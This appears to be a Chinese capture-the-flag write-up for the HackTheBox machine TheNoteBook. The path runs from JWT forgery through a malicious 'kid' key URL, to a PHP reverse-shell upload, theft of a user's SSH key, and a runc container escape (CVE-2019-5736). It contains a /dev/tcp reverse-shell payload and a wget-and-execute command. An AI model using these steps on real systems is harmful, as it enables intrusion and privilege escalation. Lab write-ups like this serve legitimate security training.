HackTheBox-TheNoteBook
0x01 信息收集
NMAP
1 | PORT STATE SERVICE VERSION |
80 http
注册了账号后,也没发现什么有趣的,但是看cookie发现有jwt格式的
所以,将其复制下来。可以去jwt.io解码。
解码之后的结果是:
修改kid的值,发现是让目标可以访问指定文件的。
算法是RSA256。可以利用openssl命令生成RSA 私钥和公钥。
1 | ssh-keygen -t rsa -b 4096 -f privKey.key |
接着生成jwt的前两段内容
1 |
|
将生成的两段用.
拼接成
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNi42OTo4MDAwL3ByaXZLZXkua2V5In0K.eyJ1c2VybmFtZSI6ImFzZCIsImVtYWlsIjoiYUBxcS5jb20iLCJhZG1pbl9jYXAiOnRydWV9Cg==这个样子的内容复制到jwt.io左边的框
接着第三段用刚刚生成RSA私钥,复制到jwt.io的右边签名验证的第二个框
应该就会生成一段jwt格式了。将其复制到网站的cookie auth上。
就是管理员了。
管理员控制台可以上传文件,上传phpinfo,发现能够解析,接着上传反向shell 监听就好。
发现一个home.tar.gz,看下压缩包里面什么文件。
有noah用户的id_rsa,在tmp目录下解压该压缩包,然后复制文件内容到自己机器上给予600权限,ssh登陆。
sudo -l
1 | (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01* |
谷歌搜索 docker exec 漏洞
能找到一个漏洞:CVE-2019-5736
利用此exp:CVE-2019-5736
复现文档:Runc容器逃逸
修改payload
1 | #!/bin/bash \n bash -i >& /dev/tcp/10.10.16.69/1235 0>&1 |
用go编译,将编译好的二进制文件上传到目标docker容器环境内,执行二进制文件。
wget http://172.17.0.1:8000/main && chmod +x main && ./main
开启监听,接着开另外一个终端,执行
1 | sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh |